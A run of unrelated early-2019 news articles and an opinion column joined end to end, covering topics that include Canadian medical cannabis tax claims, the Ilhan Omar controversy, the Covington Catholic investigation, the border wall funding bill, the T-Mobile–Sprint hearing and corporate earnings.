Rolling papers, bongs, pipes, vaporizers and other cannabis accessories are not covered, according to Golombek. Neither is cannabis bought on the black market, or through gray market medical dispensaries offering prescriptions from naturopaths.

Theres no doubt that cannabis helps for some people. Just like over-the-counter medicine helps as well. But at the end of the day, you cant claim over-the-counter medicines, or vitamins and minerals, Golombek said. It has to be a prescription [from] someone with a MD. I believe that a nurse practitioner can also certify it.



Even medical cannabis users with a legitimate prescription and a tidy collection of receipts cannot claim the full amount they paid for prescribed pot. Medical cannabis, like all eligible medical expenses, is subject to an income test on line 330 of the tax return.

Story continues

Tax-filers can deduct any qualifying medical expenses for themself, their spouse or common-law partner, and dependent children born in 2001 or later, above the lesser of $2,302 or three per cent of net income

You have to spend a minimum of the lesser of $2,302 or three per cent of your net income, Golombek said. One of the tips that we give couples, married or common-law that are living together, is that the lower income person would want to claim the medical expenses because their three per cent threshold would be lower.

Download the Yahoo Finance app, available for Apple and Android.Give credit to Representative Ilhan Omar (D., Minn.). She seems to understand that when you are caught saying something hateful and outrageous, the best way out of the mess is to give an apology that sounds as if you understand that youve done something wrong and are genuinely sorry.

But despite an excellent apology, Omar doesnt deserve the forgiveness many members of her party are willing to give her. By also doubling down on her attacks on AIPAC in the same statement as her apology, Omar reminded us that the core of this dispute wasnt merely a slip of the tongue or a moment of anger while at the keyboard. Far from being sincere in her desire to avoid future hurtful exchanges with Jews, Omar reiterates the policy positions that are driving such disputes. It is her deliberate attack on the right of supporters of Israel to speak up in this country and the right of Israel to exist that is the problem, not her learning curve about the history of anti-Semitism.

As she did when called out for a tweet in which she said Israel was hypnotizing the world, Omar issued a contrite-sounding apology for her assertion that members of Congress are bribed by AIPAC into supporting Israel. As in the previous instance, she said she had no idea that her words were classic anti-Semitic tropes that have been used to demonize Jews.

In an era in which President Donald Trump has turned a brazen unwillingness to apologize for falsehoods, slurs, or inappropriate remarks into a political art form, Omar was able to come across as sensitive and genuine. That allowed even some of her sternest critics within a Democratic party that had reluctantly been forced to condemn her latest jibe at supporters of Israel an easy way out of the controversy.

Omars apology came only after House speaker Nancy Pelosi and the rest of the Democratic leadership had demanded that she give one. But her contrite retreat enabled Democrats to turn the issue around and accuse Republicans of hypocrisy, since Trump (they alleged) has also said insensitive things about Jews without apology. They also claimed that one of Omars antagonists  House minority leader Kevin McCarthy  had been guilty of issuing an anti-Semitic tweet of his own without being held accountable.

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This counterattack was intended to fend off criticisms of the Democrats for having rewarded Omar with a coveted appointment to the House Foreign Affairs Committee only days after the Republicans had belatedly ostracized their own problem member  Representative Steve King (R., Iowa)  by stripping him of his committee assignments for his connections to white nationalism.

Yet this exercise in whataboutism tells us nothing about the controversy or the truth about who has really engaged in anti-Semitism.

As for the countercharges against Trump and McCarthy, its true that while campaigning, the president made a statement referencing Jews as businesspeople who would renegotiate deals and talked about the pro-Israel communitys campaign contributions in ways that were cringe-inducing. But the context was clearly not anti-Semitic.

Trump has also been accused of anti-Semitism for campaign ads in which Jewish megadonors to liberal causes were singled out. This is also the substance of the charge against McCarthy, who tweeted criticism of George Soros, Michael Bloomberg, and Tom Steyer. All three are Jewish or have Jewish origins, but they are also the Democrats three most prominent billionaire backers. To claim that criticism of Soros or the others is synonymous with anti-Semitism is absurd. The trio has taken heat for pouring millions into left-wing campaigns but not for being Jewish or supporting Jewish causes. Their role in our political systems is just as much fair game for critiques as those voiced by the Left about the Koch brothers or other Republican donors.

Trump was also guilty of conflating opposition to the removal of Confederate statues with support for a neo-Nazi march in Charlottesville. But as unfortunate as that mistake was, it cannot be confused with a deliberate attack on Jews. It also must be placed in a context in which his administration has been arguably more supportive of Israel than any of his predecessors as well as his warm relationship with Jewish family members and friends.

It is that context that makes the attempts to extricate from this kerfuffle Omar and fellow congressional newcomer Representative Rashida Tlaib (D., Mich.), who was guilty of her own anti-Semitic tweet last month, in which she accused supporters of Israel of engaging in dual loyalty, so disingenuous.

Regardless of how abject Omars apologies were, both she and Tlaib employed unvarnished anti-Semitism whose direct intent was to delegitimize Jews and supporters of Israel, not mere dog whistling. That was unsurprising, since both are supporters of the BDS movement, whose purpose is not just criticism of Israels policies but Israels elimination. And that is why Omar and Tlaib have continued to traffic in anti-Semitism since taking office in January.

In her apology statement, Omar also said that she continued to be concerned about the problematic role of lobbyists in our politics, whether it be AIPAC, the NRA or the fossil fuel industry.

If lobbying per se were the issue, Omar wouldnt have confined her examples to lobbies whose views she opposes but might also have mentioned Planned Parenthood or the Council on AmericanIslamic Affairs, a group linked to supporters of Hamas terrorists, which also contributed to her congressional campaign. And, tellingly, not long after she issued her apology, she retweeted with praise a Twitter thread by a supporter who engaged in a vitriolic attack on supporters of the Israel lobby that repeated the same themes about Jews using money to seek power.

Omars focus on the Benjamins and the supposedly malign influence of lobbies also ignores the truth about AIPAC.

For all its mythic status, AIPACs power in terms of the money connected to its supporters and their influence is actually dwarfed by that of Planned Parenthood or a commercial lobby such as those that support the pharmaceutical industry. The broad bipartisan pro-Israel consensus in Congress is not the result of campaign contributions or clever lobbying tactics. It is a result of Israels popularity, which is reflected in opinion polls and stretches far beyond the influence of the Jewish community or political donors.

Americans support Israel for a variety of reasons, including shared values embraced by the two democracies as well as its biblical roots. Most also think there is something deeply wrong with those, such as Omar and Tlaib, who want to destroy the one Jewish state on the planet, as opposed to those who merely criticize its democratically elected government or support the creation of a Palestinian state alongside it as part of a two-state solution that both members actually oppose. Sympathy for the idea of Zionism is deep in the political DNA of this country. It goes back to the early years of the republic and long predates Israels establishment as well as the subsequent formation of the AIPAC lobby.

The whole point of singling out AIPAC, of all Washington lobbies, is to delegitimize the right of the Jews to a state. Along with other supporters of intersectional theory, which falsely claims a link between the struggle for civil rights in the United States and the Palestinian war on Israel, Omar sees Israels existence as the problem, not its policies or the activities of its American supporters.

By being so brazen in her use of anti-Semitic tropes and forcing Pelosi and other Democrats to demand an apology, Omar demonstrated that there are clear limits to how far Israels foes can go in seeking to undermine the Jewish states supporters. But so long as Omar and Tlaib continue to support BDS and Israels elimination, their talk of not wanting to hurt the feelings of Jews is utterly disingenuous.

Trump may be in no position to critique anyones style of apology, as he did with Omar. But his flaws notwithstanding, neither he nor Omars Republican critics are guilty of anti-Semitism. Those who grant Omar and Tlaib absolution for a well-worded apology while ignoring their continued support for an anti-Semitic policy are giving credibility to a cause that deserves none.

More from National ReviewBarcelona (AFP) - The directors of Netflix documentary "Two Catalonias" said Tuesday they had returned a German award because the involvement of Catalonia's former president Carles Puigdemont in the ceremony had "politicised" the "neutral" spirit of their work.

Alvaro Longoria, who made the film about the crisis sparked by Catalonia's failed 2017 independence bid along with Gerardo Olivares, picked up the Cinema for Peace Foundation award from Puigdemont's hands in Berlin on Monday night.

As well as handing out the prize for "cinema for peace and justice", Puigdemont delivered a speech against a trial which began Tuesday in Madrid of 12 Catalan separatist leaders over the secession bid.

He also appeared on stage as a German soprano sang "Don't Cry For Me, Catalonia" -- a version of "Don't Cry For Me, Argentina" from the hit musical "Evita".

"We returned the prize this morning. It became a political rally which we did not want to take part in," Longoria told AFP by telephone from Berlin.

"We felt it did not represent the spirit of the documentary, which is neutral, and that it failed our professional ethics. We do not want to be a tool of information manipulation," he added.

Longoria said he only decided to attend the ceremony after organisers promised the event would not be "politicised" and that Puigdemont would only hand out the award.

Olivares, the documentary's other director, declined to attend the ceremony after he learnt Puigdemont would be present.

Puigdemont, who fled Spain days after Catalonia's failed independence declaration on October 27, 2017, is not among the 12 defendants in the dock over the secession bid. Spain does not try suspects in absentia for major offences.CINCINNATI  The Diocese of Covington's investigation involving Covington Catholic students in Washington, D.C., that went viral is over and found that the students did not "instigate the incident."

On Wednesday, Bishop Rev. Roger Foys said his hopes had been realized in that the students were exonerated and that they "can move forward with their lives."

The investigation was done by Greater Cincinnati Investigation Inc. in Taylor Mill.

Multiple videos of Covington Catholic students interacting with a Native American elder and a group of Black Hebrew Israelites went viral in January after the national March for Life in Washington Jan. 18 The investigation breaks down the videos and highlights interviews with parents and students who were present at the incident.

Bishop apologizes to CovCath families: 'We should not have allowed ourselves to be bullied'

The culture of CovCath: Chants, cheers and the question of insensitivity

"The immediate world-wide reaction to the initial video led almost everyone to believe that our students had initiated the incident and the perception of those few minutes of video became reality," Foys said in the letter to parents. "In truth, taking everything into account, our students were placed in a situation that was at once bizarre and even threatening."

Foys said the reaction of the students was expected and "one might even say laudatory."

'I'm going to be optimistic': Misidentified Covington Catholic student helps raise $21K for refuge

'They know they crossed the line': Lawyers of Covington Catholic student in viral video send letters to media

More than 40 students were interviewed, as well as some of the 16 chaperones who went to D.C. Nick Sandmann, a Covington Catholic student featured in the video, and Nathan Phillips, the Native American man who approaches the crowd of students, were not interviewed in the investigation.

Story continues

"We have nothing more to add," a statement to local media said.

Here's what the investigation found:

No evidence was found that students performed a "Build the Wall" chant or made racist remarks to the Black Hebrew Israelites or Phillips.

Most of the students felt like (Phillips) was coming into their group to join in with the students' cheers, investigators said. None of the students said they felt threatened by Phillips and many stated they were "confused."

Video shows that some students performed a "tomahawk chop" to the beat of Phillips' drumming and some joined in with his chant.

Nine chaperones reported being present at the Lincoln Memorial when the main interactions took place. Investigators said video confirms at least five chaperones were present.

Chaperones said they didn't feel that students were in danger or threatened.

In regard to the "It's not rape if you enjoy it" video, investigators said the man in the video was not a Covington Catholic student.

In regard to the 7-second video of two students making comments to two women, investigators said they could not determine whether the students were from Covington Catholic.

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Follow Sarah Brookbank on Twitter: @SarahBrookbank

This article originally appeared on Cincinnati Enquirer: Diocese investigation of Covington Catholic viral video finds students' actions were commendableDAYTONA BEACH, Florida  Denny Hamlin is ready to get back to victory lane.

The 38-year-old driver went winless in 2018, the first time in his 13-year full-time Cup Series career that he finished a season without a victory. He led just 380 laps, the fewest number of laps hed led in any of his 11 full seasons and completed just 9,926 laps. Also the fewest laps hed completed in any full season.

And with the exception of an injury-derailed 2013, Hamlins 11th-place finish in the points standings was his first outside the top 10 since he finished 12th in 2007. Hamlins 2018 stunk.

You always feel like you have something to prove, but certainly this year in particular, Im very fired up to go out there and win, Hamlin said Wednesday. Not one race, not two races, not even three  like multiple races and show that we are a contender each and every week just like I know that we are. You can always talk about the ones that got away last year, but thats over with. So what, now what? Weve got to figure out what were going to do to change the narrative of our team that were on the decline.

Hamlins poor 2018 led to a crew chief change for 2019. Hell have Chris Gabehart as his crew chief this season as Gabehart moves up from Joe Gibbs Racings Xfinity Series teams. Gabehart is Hamlins fifth crew chief and Hamlin has won at least one race with each of his previous four crew chiefs.

An early-season win in 2019 would not only mean Hamlins winless streak wont extend to a second season but would also give the team some time to be more aggressive in summer races ahead of the playoffs.

The sooner you get it, obviously the better youre going to put yourself in position to be able to take those risky moves in the middle of the summer, Hamlin said. I know winning early is very very important. You punch your ticket for the playoffs. Everything good happens when you win early, so its very important for us.

Denny Hamlins last Cup Series win came at Darlington in September 2017. (Getty Images)

      

Nick Bromberg is a writer for Yahoo Sports.

Story continues

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Washington (AFP) - For some people, facing the onslaught of Valentine's Day flowers, candy and marketing can be overwhelming if you are single. For Riya Patel, it's a reason to celebrate love -- platonic love -- even by long distance.

Welcome to the American phenomenon of Galentine's Day, feted on February 13th -- a "holiday" gaining in popularity with each passing year, and also gaining in terms of its message of female empowerment.

"I've organized this giant group FaceTime with all my closest girlfriends. All of us are going to get on the phone and celebrate each other," says Patel, a 22-year-old research analyst from the US capital.

"And then I'll just celebrate me. That's probably going to end up being some restorative yoga in my bedroom and then making something with bourbon in it."

Galentine's Day was born in 2010 during an episode of the American sitcom "Parks & Recreation," when main character Leslie Knope (played by Amy Poehler) hosts a brunch on February 13 for her best gal pals.

It was conceived as a defiant response to Valentine's Day -- a statement that the traditional romantic love is not the only kind worth honoring.

"Women are just so pummeled throughout their upbringing with this idea of romantic love imagery, and what it means to be in love," said Olivia Dillingham, a brand consultant for women in New York.

"That does create this sense of unworthiness and failure when you come around to Valentine's Day and you don't have someone to go to dinner with."

Galentine's Day has grown from being a semi-joke to a semi-serious holiday -- and it's generating big money.

There is also a lot of pink, a lot of gold and a lot of glitter.

Many businesses have started selling themed products -- cards, wine glasses, candies, cookies. Big box stores have dedicated sections for the event.

Bars and restaurants are organizing happy hours and parties.

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In Washington, whisky bar Jack Rose Dining Saloon is hosting a special cocktail hour. The luxury St Regis Hotel has planned an afternoon tea with an exclusive pop-up jewelry boutique.

"We did it a little playful, with colorful girl colors," said Heather Dobson, the hotel's head pastry chef, displaying an array of small pastries decorated with candy hearts, chocolate lips and rose petals.

Clothing retailer Madewell is staging a promotional sale, encouraging shoppers to view the clothes purchased with a 20 percent discount as their new "BFFs" -- best friends forever.

A search on the hashtag "#galentinesday" on Instagram reveals thousands of photos of pink balloons or ladies' brunches.

Dillingham, 24, hosted a Galentine's Day party last year: she and other female friends cast "love spells" on themselves, exchanged flowers and traded compliments.

"Having a really strong solid support system and having support in yourself is so important," she said.

"And it's just a good excuse to bring friends together."

- Time for reflection -

Only 51 percent of Americans plan to celebrate Valentine's Day in 2019, according to the National Retail Federation -- a decrease of more than 10 percentage points over the past decade.

But Galentine's Day sales are predicted to bring in a 20 percent total revenue increase over the next three years, according to an estimate by NPD retail analyst Marshal Cohen.

For Patel, Dillingham and others, the holiday goes beyond rebelling against Valentine's Day and partying to also include a time of personal reflection -- more than just "ovaries before brovaries," as Leslie Knope would say.

"It started out as very shallow," Patel said. But now, "it feels bigger than just celebrating female friends. It's a day to reflect on people who support you in your life."

Some businesses are working to embrace that deeper message.

Arley Arrington, the owner of Arley Cakes in Richmond, Virginia, has made alternative "conversation" heart cookies since 2016 -- instead of "I love you" and "Be mine," they say things like "Flawless" and "Be my equal."

Although she doesn't market them specifically for Galentine's Day, the 29-year-old baker says most of the orders come from women planning to give the goodies to their female friends.

Her inspiration? The annual Beyonce-themed Galentine's Day dinner she hosted with her friends in Charlottesville before she moved to Richmond.

"People get excited when they're able to confront or think about those more challenging things in a cute format," Arrington said.

Sara Phillips, a 37-year-old Washington perfume-maker who is co-hosting a Galentine's Day workshop, says she is on board with the holiday's message -- even if she had not heard of it before this year.

"It's really all about women's empowerment and women helping each other out and encouragement," she said.

Patel agrees: "I think that's the special part, celebrating how women are supporting each other."WASHINGTON  The House will vote Thursday on a border security bill designed to prevent another government shutdown as President Donald Trump sent signals he is willing to sign the deal while seeking other sources of money for his border wall.

House Democratic Caucus Chairman Hakeem Jeffries, D-N.Y., announced the timing of the vote during a press conference on Wednesday.

The overwhelming majority of the House Democratic Caucus will support this legislation, Jeffries said.

At the White House, hours after saying he was not "thrilled" with the new proposal, Trump struck a more positive tone on Tuesday about the anti-shutdown plan even though it includes much less wall funding that he has demanded.

Saying he discussed the issues with Sen. Richard Shelby, R-Ala., chairman of the Senate Appropriations Committee, Trump said the new congressional plan would be "hooked up with lots of money from other sources." Trump claimed he could get up to $23 billion for his wall, but did not specify where that money might come from.

In another post, Trump congratulated congressional Republicans who worked on a border security committee created by a budget deal last month that ended the 35-day partial government shutdown.

President Donald Trump during a campaign rally Monday in El Paso.

"I want to thank all Republicans for the work you have done in dealing with the Radical Left on Border Security," Trump said. "Not an easy task, but the Wall is being built and will be a great achievement and contributor toward life and safety within our Country!"

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This content is not available due to your privacy preferences. Update your settings here to see it.

White House officials said Wednesday Trump will wait to see the precise bill before making a final decision.

"We want to see what the final piece of legislation looks like," spokeswoman Sarah Sanders said. "Its hard to say definitively whether or not the president is going to sign it until we know everything thats in it."

On Monday, Congressional negotiators announced an agreement "in principle" that includes $1.375 billion for a border barrier, much less than the $5.7 billion Trump has demanded throughout the year.

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While meeting Tuesday with his Cabinet, Trump said "I'm not happy" with the congressional agreement. He then appeared to reference an idea floated by acting White House chief of staff Mick Mulvaney and other officials: moving existing money from other accounts to fund walls, fences, or other sorts of barriers.

"We're supplementing things and moving things around," Trump said, adding that his team is "taking from far less  really, from far less important areas."

The president also said he wants to avoid another partial government shutdown: "I dont think you're going to see a shutdown. I wouldnt want to go to it, no."

Trump also retains the option of declaring some sort of a "national emergency," allowing him in theory to use defense money for wall construction  but also inviting legal challenges from opponents who say the president lacks the legal authority to declare an emergency in this case.

Democrats have vowed to sue or otherwise prevent Trump over any effort to use other money for his wall. They said Congress must specifically appropriate funds for that purpose. Democrats argue the proposed wall is expensive and unnecessary, yet Trump seems willing to divert money from such projects as flood control and drug interdiction.

Rep. John Garamendi, D-Calif., has proposed a bill designed to block Trump from using disaster recovery funds to build his border wall.

Taking recovery funds from disaster victims as ransom for a border wall would be a new low, even for this president, Garamendi said. $14 billion in disaster-recovery funds are at risk of being gutted, including $2.5 billion each from civil works projects in California and Puerto Rico."

Late last year, Trump indicated he would sign a spending plan designed to fund the government past a Dec. 21 deadline. After a torrent of criticism from conservatives who accused him of selling out on the wall, Trump wound up opposing the plan, triggering the shutdown that lasted a record 35 days.

Some of those came conservatives are attacking the current deal, and Trump's consideration of it.

"Trump talks a good game on the border wall but it's increasingly clear he's afraid to fight for it," conservative commentator Ann Coulter tweeted. "Call this his 'Yellow New Deal.'"

But in a positive sign for the proposals prospects, one of Trumps conservative allies signaled that his base would support him if he signed the deal, just as long as it was part of a broader approach to border security.

Rep. Mark Meadows, R-N.C., who had blasted the proposal on Twitter as "hardly a serious attempt to secure our border," said Wednesday that if the deal's framework is supported by legislation, "then there is a strong case to be made that the few incremental advances in this bill are better than a continuing resolution to keep the government open."

"No one will criticize the President for signing it as long as it is part of a multi-step approach to make our communities safer," Meadows, the chairman of the hardline House Freedom Caucus, told USA TODAY in a text message.

Meadows said he still planned to vote against the bill.

In ending the most recent shutdown last month, Trump and the Congress agreed to a three-week spending plan that expires Friday. Parts of the government will shut down again if that plan is not renewed.

As part of that agreement, lawmakers appointed a special committee to develop the new border security package it rolled out this week.

On Capitol Hill, Senate Majority Leader Mitch McConnell, R-Ky., said the Senate could vote in short order on the tentative proposal and urged Trump to sign it. He did not say when the Senate vote would occur.

Though the agreement doesn't have everything Trump wants, "I think he's got a pretty good deal here," McConnell said. "I hope he'll decide to sign it."

Senate Minority Leader Charles Schumer, D-N.Y., said the agreement represents a path forward for our country and would help avoid another round of fraught negotiations as lawmakers rush to beat Friday's fast-approaching deadline.

"Please, Mr. President," Schumer said. "Sign it, and dont cause a shutdown.

This article originally appeared on USA TODAY: House to vote Thursday on border security plan as Trump signals he's willing to sign the dealMonthly cell phone bills won't go up and the wireless market will remain competitive if T-Mobile's merger with Sprint goes through, T-Mobile CEO John Legere told a congressional subcommittee today (Feb. 13). But some legislators expressed skepticism about claims that the proposed merger would improve wireless coverage in rural parts of the country.

John Legere testifies before Congress. (Credit: YouTube)

John Legere testifies before Congress. (Credit: YouTube)

Legere was joined by Sprint CEO Marcelo Claure along with other supporters and opponents of the proposed merger during a three-hour hearing before the House of Representatives' communications and technology subcommittee. Congress has no say in whether the T-Mobile/Sprint deal goes through  that falls to the Federal Communications Commission and the U.S. Department of Justice  but that's not stopping legislators from weighing in on the matter.

MORE: T-Mobile-Sprint Merger: All Your Questions Answered

Just yesterday, eight Democratic Senators  including four who have already announced plans to run for president in 2020  sent letters to both the FCC and Justice Department arguing that the merger should be rejected. So today's hearing gave supporters and opponents the chance to publicly make their case for and against the $26 billion deal first announced last April.

For Legere, that meant talking up the benefits of what he called a "super-charged Uncarrier" that would create a faster, broader network that will also have the ability to expand into the broadband market, challenging cable operators.

"The combined company will continue the T-Mobile tradition of disrupting the wireless space," Legere told the congressional subcommittee. "But we won't stop there."

Last week, in a letter to the FCC, Legere promised that wireless rates for the combined company would remain the same or be better for three years after the merger goes through. He reiterated that claim in today's congressional testimony, even when pressed by Rep. Darren Soto (D-Fla.) to make that commitment a condition of the merger.

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"Our opponents are wrong when they claim the merger will lead to higher prices," Legere said. "In fact, the opposite is true."

Opponents of combining Sprint and T-Mobile fear that commitment won't extend to mobile virtual network operators who pay those two carriers to use their cellular towers to provide low-cost coverage. There's also the concern that combining two of the Big Four wireless providers will mean a less competitive market, adversely affecting consumers.

"Post-merger, the market will not be competitive enough to discipline the three remaining carriers" from raising prices, said Phillip Berenbroick, senior policy counsel for Public Knowledge, a public-interest group focused on competition in the digital market.

Claure countered that the market is not very competitive now, contending that Verizon and AT&T essentially enjoy a duopoly over the wireless industry that has prevented T-Mobile and Sprint from more aggressively investing in their own networks. That sentiment was echoed by Rep. Anna Eshoo (D.-Calif.), who's come out in support of green-lighting the merger.

Both Legere and Claure argue that the merger will boost their combined company's effort to build up a 5G network. But representatives on the congressional subcommittee repeatedly returned to the impact the merger will have on rural areas, which are underserved by current wireless networks. "They're still going to be at the low end of the pole," Rep. Tom O'Halleran (D-Ariz.) said.

That's certainly the position of the Rural Wireless Association, which opposes the merger. Carri Bennet, general counsel for the trade group, blasted T-Mobile's track record on roaming and call completion for rural customers and expressed concerns about what a merged company would mean for the MVNOs that rely on other carriers' networks to provide wireless coverage.

Another hot topic during today's hearing concerned jobs. Legere says the combined company "will be jobs-positive from day one and going forward," with 11,000 more employees by 2024.

Chris Shelton, president of the Communication Workers of Amercia, doubts that math, telling Congress that the merger would cost 30,000 Americans their jobs, with 25,000 of those coming from duplicative retail outlets.

"Take away competition, and the remaining companies can throttle down on employee concentration while jacking up prices on consumers," Shelton said.Rep. Jackie Speier (D-CA) speaks to a member of the

WASHINGTON  Members of Congress blasted the Pentagon Wednesday for failing to reduce sexual assault and harassment of cadets and midshipmen at the military's iconic training academies.

The House Armed Services Committee summoned the superintendents from the schools to explain incidents of sexual assault had jumped nearly 50 percent last year.

"This isn't a blip, a 'Me Too' bump or some accident," said Rep. Jackie Speier, D-Calif., who chairs the committee's panel on personnel issues. "It is a clear illustration of a destructive trend and systemic problem."

Student-reported unwanted sexual contact  ranging from groping to rape  totaled 747 in the 2017-18 academic year, compared with 507 in 2015-16, according to a Pentagon report based on anonymous surveys of cadets and midshipmen at the Army, Air Force and Naval academies.

"We have a problem," said Rep. Trent Kelly, R-Miss, the ranking member of the committee. "We need to get to work on fixing it immediately."

Data from the report shocked members of Congress and Pentagon officials charged with preventing and responding to sexual assault. About 16 percent of women and 2 percent of men at the premier military colleges reported being sexually assaulted. The increase in incidents stems largely from more men and women at the Army's West Point academy reporting unwanted sexual contact.

Elizabeth Van Winkle, a top personnel official for personnel, said it was "devastating to deliver this report."

Vice Adm. Walter Carter, superintendent for the Naval Academy, said holding offenders accountable is key to addressing the issue.

"I am frustrated," Carter acknowledged.

About 12,900 students attend the Army, Navy and Air Force academies: 9,700 men and 3,200 women.

Sexual assault among troops gained captured the attention of Congress in 2013, when the Pentagon released a report that estimated troops reporting unwanted sexual contact had jumped 35 percent from 2010 to 2012  to 26,000 victims.

Story continues

Since then, the Pentagon has launched new initiatives including enhanced support for victims and screening the background of troops in positions such as recruiters, counselors and drill instructors.

Don Christensen, president of Protect Our Defenders, an advocacy group for victims of sexual assault in the military, also testified Wednesday. He was the former top prosecutor for the Air Force, pointed to the academy superintendents seated nearby, and said that senior leadership does not appear to take the issue seriously enough.

"How many times do you get to fail before youre fired? Christensen asked.

This article originally appeared on USA TODAY: Congress grills military academy superintendents over spike in sexual assaultsHere are the companies the Yahoo Finance team is watching today.

A beat at Hilton. The hotel company delivered a stronger-than-expected quarter with revenue and earnings both topping estimates.Also, it's expecting a solid start to 2019 with growth in revenue per room.

A different story at Activision Blizzard. The company behind Overwatch and other games fell short on revenue and plans to cut 8% of its staff. The CEO says they simply didn't execute as well as they had hoped in 2018, and that the cuts should help them focus on their biggest franchises.

Tesla is rushing to beat the deadline for the U.S. trade talks with China. The company is sending cargo ships loaded with new Model 3s, hoping to get them on Chinese soil before new tariffs may possibly kick in on March 1st. One analyst says Tesla is uniquely exposed to the trade fight in China because they don't currently have any production there.

It looks like General Motors and Amazon may be looking to cut a deal with electric truck maker Rivian. Reuters reports the two companies plan to invest about $1 to $2 billion in the start-up. No word from Amazon on the deal but GM issued a statement saying they admire Rivian's contribution to an all-electric future.

CBS is under fire again. A shareholder suit is accuses several CBS executives of selling millions in CBS shares before sexual-harassment allegations became public. The suit said the timing and amount of the sales demonstrate a motive to commit fraud. CBS and former CEO Leslie Moonves have denied accusations.MEXICO CITY (AP)  A Mexican union leader known for his combativeness announced a new labor federation Wednesday and said 150 unions have joined, the latest sign that the country's long-dormant labor movement might be awakening.

Miners' union leader Napoleon Gomez Urrutia said the umbrella organization is called the International Labor Confederation.

Despite its name, Mexican law prohibits the federation from having foreign ties. Rather, Gomez Urrutia said, "it will be a question of solidarity and strategic alliances."

He said 150 Mexican unions had already joined and others are interested in doing so, while U.S. labor groups like the AFL-CIO and steel workers have expressed their support.

Big corporations operate in multiple countries, Gomez Urrutia said, and "it is time that we unions globalize ourselves as well."

Gomez Urrutia was joined at the announcement by some of Mexico's most feisty labor leaders, including Martin Esparza, head of the electrical workers' union. At least one old-line labor group, the Regional Confederation of Mexican Workers, also participated, though by law it can't formally join the new federation.

For decades, average manufacturing wages stagnated at $2 an hour or less in Mexico as pro-government labor unions allied with the once-dominant Instutitional Revolutionary Party kept workers in check. But a new fighting spirit has emerged in recent weeks.

About 25,000 workers staged a mass walkout at 48 "maquiladora" assembly plants in the border city of Matamoros beginning in January and won 20 percent wages hikes and bonuses. Their example has sparked wildcat walkouts at other businesses that aren't unionized or belong to different federations.

Gomez Urrutia said the strikes could spread, and the new federation would support them.

"As long as the conditions of exploitation continue for these workers, not just on the border but across the country, there is a risk that these conflicts will break out," he said. "We will always be ready to advise and support them."

Story continues

Gomez Urrutia, who is also a senator for President Andres Manuel Lopez Obrador's Morena party, has been accused by some of engaging in extortionate negotiating tactics and mismanaging union funds. He calls those accusations "political persecution."

The union leader praised Lopez Obrador's policies, though he insisted the federation is "not a branch office of the government or Morena." Asked why the new group's banners are maroon-colored, as are those of Lopez Obrador's party, he said, "I think that is a coincidence ... it wasn't planned that way."

Lopez Obrador has been wary of antagonizing corporate interests. But he unwittingly unleashed the Matamoros strikes by decreeing a doubling of the minimum wage in Mexico's border zones, apparently unaware that some union contracts at the maquiladora plants are indexed to minimum wage increases.Colin Kaepernicks name was removed from a Wisconsin Assembly resolution celebrating prominent black Americans. (AP Photo/Steven Senne)



Republican lawmakers in Wisconsins state Legislature are not fans of Colin Kaepernick.

According to the Milwaukee Journal Sentinel, the Legislature was set to pass a ceremonial resolution celebrating Black History Month on Tuesday until GOP lawmakers stepped in and demanded that Kaepernicks name be removed from the resolution or it would be vetoed. The resolution, drafted by the Legislatures black caucus and authored by Rep. David Crowley of Milwaukee, honored more than 20 prominent black Americans, including the Milwaukee-born Kaepernick.

The resolution was passed once black Democrats removed Kaepernicks name, but Rep. Crowley was not happy about it, calling it a slap in the face and a textbook example of white privilege. Via the Journal Sentinel, Rep. Crowley also said, I had to get the blessing of all of my white counterparts before the resolution passed, but was glad it did.

[Batter up: Join or create a 2019 Yahoo Fantasy Baseball league for free today]

Despite the clear distaste that Wisconsins Republican lawmakers (who all happen to be white) have for Kaepernick, it doesnt appear that any of them clearly spelled out why. Instead, those who spoke about the bill tiptoed around their reasoning. Republican representative and Majority Leader Jim Steineke only said that he and other GOP legislators wouldnt support a resolution with Kaepernicks name for obvious reasons. Assembly Speaker Robin Vos told the Journal Sentinel that he wanted a resolution that would bring us together. Not look at people who draw some sort of vitriol from either side.

Rep. Crowley didnt agree with that sentiment and defended the choice to include Kaepernick in the resolution on the Assembly floor. Via the Journal Sentinel:

It is critical for this body to recognize the black caucus and recognize the resolution we put forward. Many of these people that you dont agree with will still be in the history books that your children and grandchildren will be reading.

Story continues

The Journal Sentinel reported that GOP legislators proposed their own version of the resolution, which was completely identical with the exception of two names: Kaepernick and Milwaukee Rev. Greg Lewis were removed and replaced with Wisconsin Lt. Gov. Mandela Barnes and former Wisconsin Secretary of State Vel Phillips. Democratic legislators blocked that resolution from a vote.

Since the updated, Kaepernick-free version of the resolution did pass the Legislature, it will next head to the state Senate. But theres expected to be more debate about the removal of Kaepernicks name, as two Republican state Senators had signed onto the version of the resolution that included Kaepernick.

More from Yahoo Sports:



 Belichick changed his boats name to reflect SB win

 22-year-old son of NFL head coach is arrested

 Panthers deal proves NFL collusion, Eric Reid says

 Did Peyton Manning unknowingly help the Pats?

Silicon Valley tech major Cisco Systems CSCO has reported fiscal Q2 2019 numbers after the bell Wednesday, and the results were routinely better than expected. Earnings of 73 cents per share topped the Zacks consensus by a penny, on $12.45 billion in quarterly sales that outperformed the $12.40 billion our analysts were looking for. The Zacks Rank #3 (Hold)-rated company ahead of the earnings release has not missed bottom-line expectations since we recalibrated results for technology firms in calendar Q4 of 2015.



Whats pushing shares of Cisco northward in late trading is the company guidance for its fiscal Q3 (ending April), toward an earnings range of 76-78 cents per share on revenues expected to grow 4-6% year over year. The Zacks consensus for these figures had been 75 cents per share on revenue growth expected at 2-3%. Also, Cisco has raised its dividend by 6% and announced a $15 billion share buyback program.



Shares had already gone back up toward multi-year highs prior to this earnings report, and now were seeing a new bid up roughly 3.7% in the after-market.



MGM Resorts MGM also surpassed expectations by a penny to 14 cents per share, on revenues of $3.05 billion in the quarter which took out the Zacks consensus estimate of $2.95 billion. This Zacks Rank #3-rated company also increased its dividend yield, by 8%, on in-line China revenues and its Las Vegas segment which beat relatively easy year-over-year comps. MGM has only missed bottom-line estimates 3 times in the last 4 years.

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Zacks Investment ResearchAt Mondays campaign rally in El Paso, Texas, President Trump proudly proclaimed that construction of his border wall was moving full steam ahead.

Weve actually started a big, big portion of the wall today at a very important location, and its going up pretty quickly over the next nine months, Trump said, standing beneath an enormous American flag flanked by two banners that read finish the wall.

While Congress did appropriate $600 million last March for construction of 33 miles of new barriers in the Rio Grande Valley, La Lomita, a tiny one-room chapel owned by the Diocese of Brownsville, stands in the path of the proposed new section. To try to block it from being built, the diocese is using a legal argument that should be quite familiar to Trumps vice president, Mike Pence.

